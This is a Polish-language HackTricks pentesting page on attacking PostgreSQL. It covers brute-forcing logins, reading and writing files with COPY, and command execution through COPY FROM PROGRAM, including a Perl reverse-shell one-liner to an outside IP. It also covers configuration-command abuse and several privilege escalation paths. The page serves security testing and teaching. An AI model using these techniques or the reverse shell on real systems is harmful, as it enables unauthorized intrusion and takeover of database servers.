Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
**PostgreSQL** jest opisywany jako **system bazodanowy obiektowo-relacyjny**, który jest **open source**. Ten system nie tylko wykorzystuje język SQL, ale także ulepsza go o dodatkowe funkcje. Jego możliwości pozwalają mu obsługiwać szeroki zakres typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
**Domyślny port:** 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql będzie korzystał z następnego portu (prawdopodobnie 5433), który nie jest używany.
Jeśli uruchomisz polecenie **`\list`** i znajdziesz bazę danych o nazwie **`rdsadmin`**, oznacza to, że znajdujesz się w bazie danych **AWS PostgreSQL**.
Zgodnie z [**tą analizą**](https://www.exploit-db.com/papers/13084), gdy próba połączenia się nie powiedzie się, `dblink` zwraca wyjątek `sqlclient_unable_to_establish_sqlconnection` zawierający wyjaśnienie błędu. Poniżej przedstawiono przykłady tych szczegółów.
`SZCZEGÓŁY: nie można połączyć się z serwerem: Brak trasy do hosta Czy serwer działa na hoście "1.2.3.4" i akceptuje połączenia TCP/IP na porcie 5678?`
Once you have identified a PostgreSQL service, you can attempt to brute force the credentials using tools like Metasploit or Hydra. Metasploit provides modules like `postgresql_login` for this purpose.
If you find valid credentials or manage to escalate privileges through other means, you can exploit vulnerabilities in PostgreSQL to gain further access to the system.
After gaining access, you can perform various post-exploitation activities like dumping data, creating backdoors, or pivoting to other systems in the network.
W funkcjach PL/pgSQL obecnie nie można uzyskać szczegółów dotyczących wyjątków. Jednakże, jeśli masz bezpośredni dostęp do serwera PostgreSQL, możesz pozyskać niezbędne informacje. Jeśli wydobycie nazw użytkowników i haseł z tabel systemowych nie jest możliwe, możesz rozważyć wykorzystanie metody ataku słownikowego omówionej w poprzednim rozdziale, ponieważ może to potencjalnie przynieść pozytywne rezultaty.
| rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacyjne. |
| rolconnlimit | Dla ról, które mogą się zalogować, ustawia maksymalną liczbę równoczesnych połączeń, jakie ta rola może nawiązać. -1 oznacza brak limitu. |
| rolbypassrls | Rola omija każdą politykę zabezpieczeń na poziomie wiersza, zobacz [Sekcję 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) dla więcej informacji. |
Zauważ, że w Postgres **użytkownik**, **grupa** i **rola** to **to samo**. To zależy tylko od **tego, jak go używasz** i czy **pozwolisz mu się zalogować**.
Z tego [**commita**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) członkowie zdefiniowanej grupy **`DEFAULT_ROLE_READ_SERVER_FILES`** (zwanej **`pg_read_server_files`**) oraz **super użytkownicy** mogą używać metody **`COPY`** na dowolnej ścieżce (sprawdź `convert_and_check_filename` w `genfile.c`):
Istnieją **inne funkcje postgres**, które mogą być używane do **odczytu pliku lub listowania katalogu**. Tylko **superużytkownicy** i **użytkownicy z wyraźnymi uprawnieniami** mogą ich używać:
Możesz znaleźć **więcej funkcji** na stronie [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Bardzo ważnym ograniczeniem tej techniki jest to, że **`copy` nie może być używane do zapisywania plików binarnych, ponieważ modyfikuje niektóre wartości binarne**.
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
Jeśli masz niezbędne uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, nadpisując powiązany węzeł pliku w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Więcej na temat tej techniki** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
**Uwaga:** Jeśli nie możesz pobrać ścieżki bieżącego katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować przeprowadzić atak brute-force na ścieżkę. Powszechne ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Powszechną nazwą klastra jest `main`.
To zapytanie powinno zwrócić coś w rodzaju `base/3/1337`. Pełna ścieżka na dysku będzie wynosić `$DATA_DIRECTORY/base/3/1337`, czyli `/var/lib/postgresql/13/main/base/3/1337`.
5. Użyj [Edytora węzłów plików PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ustaw wszystkie flagi logiczne `rol*` na 1 dla pełnych uprawnień.
Od [wersji 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), tylko **superużytkownicy** i członkowie grupy **`pg_execute_server_program`** mogą używać kopii do RCE (przykład z eksfiltracją:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Więcej informacji na temat tej podatności znajdziesz [**tutaj**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Mimo zgłoszenia jako CVE-2019-9193, Postges oświadczył, że jest to [funkcja i nie zostanie naprawiona](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Gdy już **nauczysz się** z poprzedniego posta **jak wgrywać pliki binarne**, możesz spróbować uzyskać **RCE wgrywając rozszerzenie postgresql i je wczytując**.
Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
**Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez użytkownika **postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików i w ten sposób możesz go **nadpisać**.
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ścieżka do klucza prywatnego bazy danych
*`ssl_passphrase_command = ''` Jeśli plik prywatny jest chroniony hasłem (zaszyfrowany), postgresql **wykona polecenie wskazane w tym atrybucie**.
*`ssl_passphrase_command_supports_reload = off`**Jeśli** ten atrybut jest **włączony**, **polecenie** wykonane, jeśli klucz jest chroniony hasłem, **będzie wykonywane** podczas wywołania `pg_reload_conf()`.
Podczas testowania zauważyłem, że to zadziała tylko jeśli **plik klucza prywatnego ma uprawnienia 640**, jest **własnością roota** i **grupy ssl-cert lub postgres** (aby użytkownik postgres mógł go odczytać) oraz jest umieszczony w _/var/lib/postgresql/12/main_.
**Więcej** [**informacji o tej konfiguracji i o WAL tutaj**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Aby to działało, ustawienie `archive_mode` musi być `'on'` lub `'always'`. Jeśli tak jest, możemy nadpisać polecenie w `archive_command` i zmusić je do wykonania za pomocą operacji WAL (write-ahead logging).
4. Wymuś działanie operacji WAL, która wywoła polecenie archiwizacji: `SELECT pg_switch_wal()` lub `SELECT pg_switch_xlog()` dla niektórych wersji Postgres
Możemy ustawić wartość `dynamic_library_path` na katalog zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, np. katalog `/tmp/`, i wgrać tam złośliwy obiekt `.so`. Następnie zmusimy serwer PostgreSQL do załadowania naszej nowo wgranej biblioteki, dodając ją do zmiennej `session_preload_libraries`.
Zgodnie z [**dokumentacją**](https://www.postgresql.org/docs/13/sql-grant.html): _Role posiadająca uprawnienie **`CREATEROLE`** może **udzielać lub odbierać przynależność do dowolnej roli**, która **nie jest** **superuserem**._
Więc jeśli masz uprawnienia **`CREATEROLE`**, możesz udzielić sobie dostępu do innych **ról** (które nie są superuserami), co pozwoli Ci na odczyt i zapis plików oraz wykonywanie poleceń:
Jest dość powszechne, że **lokalni użytkownicy mogą zalogować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonania kodu**, możesz nadużyć tych uprawnień, aby uzyskać rolę **`SUPERUSER`**:
W [**tym opisie**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) wyjaśniono, jak było możliwe **privesc** w Postgres GCP, nadużywając uprawnienia ALTER TABLE udzielonego użytkownikowi.
Gdy próbujesz **ustawić innego użytkownika jako właściciela tabeli**, powinieneś otrzymać **błąd** uniemożliwiający to, ale wygląda na to, że GCP dało tę **opcję użytkownikowi postgres, który nie jest superużytkownikiem** w GCP:
Łącząc ten pomysł z faktem, że gdy polecenia **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) są wykonywane na **tabeli z funkcją indeksu**, **funkcja** jest **wywoływana** jako część polecenia z uprawnieniami **właściciela tabeli**. Możliwe jest utworzenie indeksu z funkcją, nadać uprawnienia właściciela **superużytkownikowi** nad tą tabelą, a następnie uruchomić ANALYZE na tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ korzysta z uprawnień właściciela.
4. ZMIEŃ właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymania bazy danych.
5. Wykonaj operację ANALYZE na tabeli. Ta czynność zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin". W rezultacie złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", umożliwiając wykonanie wcześniej nieautoryzowanego polecenia powłoki.
Niektóre źle skonfigurowane instancje postgresql mogą zezwalać na logowanie dowolnego lokalnego użytkownika, jest możliwe zalogowanie się lokalnie z 127.0.0.1 używając funkcji **`dblink`**:
Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownik nie ma uprawnień do logowania z zewnętrznego adresu IP, możesz użyć poniższej funkcji do wykonywania zapytań jako ten użytkownik:
[W tym opisie](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterzy byli w stanie uzyskać podwyższone uprawnienia w instancji postgres dostarczonej przez IBM, ponieważ **znaleźli tę funkcję z flagą DEFINER BEZPIECZEŃSTWA**:
Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcja z **DEFINER BEZPIECZEŃSTWA jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego jeśli funkcja jest **podatna na Wstrzyknięcie SQL** lub wykonuje **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużyta do **podniesienia uprawnień wewnątrz postgres**.
**PL/pgSQL** to **w pełni funkcjonalny język programowania**, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia korzystanie z **pętli** i innych **struktur kontrolnych** w celu ulepszenia logiki programu. Ponadto **polecenia SQL** i **triggery** mają zdolność wywoływania funkcji tworzonych przy użyciu języka **PL/pgSQL**. Ta integracja pozwala na bardziej wszechstronne podejście do programowania i automatyzacji bazy danych.\
Następujący wektor przywłaszczenia jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
Jeśli możesz **czytać i pisać pliki serwera PostgreSQL**, możesz **stać się superużytkownikiem**, nadpisując filenode PostgreSQL na dysku, powiązany z wewnętrzną tabelą `pg_authid`.
5. Użyj [Edytora Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień.
[pgadmin](https://www.pgadmin.org) to platforma do administracji i rozwoju dla PostgreSQL.\
Możesz znaleźć **hasła** w pliku _**pgadmin4.db**_.\
Możesz je odszyfrować, używając funkcji _**decrypt**_ w skrypcie: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Autoryzacja klienta w PostgreSQL jest zarządzana za pomocą pliku konfiguracyjnego o nazwie **pg\_hba.conf**. Ten plik zawiera serię rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma żadnego mechanizmu zapasowego, jeśli uwierzytelnienie nie powiedzie się. Jeśli żaden rekord nie pasuje, dostęp jest odrzucany.
Dostępne metody uwierzytelniania oparte na haśle w pliku pg\_hba.conf to **md5**, **crypt** i **password**. Te metody różnią się sposobem przesyłania hasła: zahaszowanego MD5, zaszyfrowanego crypt lub zwykłego tekstu. Ważne jest zauważenie, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg\_authid.